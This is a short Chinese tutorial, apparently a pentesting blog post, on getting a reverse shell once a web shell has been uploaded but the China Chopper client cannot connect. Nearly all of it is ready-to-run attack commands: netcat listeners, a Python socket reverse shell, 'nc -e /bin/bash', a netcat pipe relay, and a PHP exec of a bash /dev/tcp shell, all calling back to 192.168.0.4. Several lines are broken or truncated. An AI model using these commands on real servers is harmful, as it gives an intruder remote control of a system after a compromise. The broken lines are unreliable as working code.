在往常的测试过程中,有时费劲千辛万苦终于拿到了上传权限,美滋滋的上传了一句话,下一步的操作就是拿出菜刀连接,却发现菜刀失效了(没有被狗查杀和waf拦截,搞不懂为什么菜刀不能连接)。菜刀不行以后只能通过其它方式-通过nc反弹一个shell。
nc是netcat的简写,有着网络界瑞士军刀的美誉。通过执行nc的命令可以得到webshell。
首先,使用nc在kail上监听端口:
nc -lvp 7777
第二步:bash -i >&
从上图可以看到,已经成功拿到了shell。
还可以通过python反弹:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
使用NC反弹shell:
nc -e /bin/bash 192.168.0.4 7777
nc -lvp 777
如果不支持-e参数的话,可以利用linux中的管道符:
服务端:nc -nvlp 7777
nc -nvlp 6666
客户端:
nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777
使用PHP方式反弹shell:
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'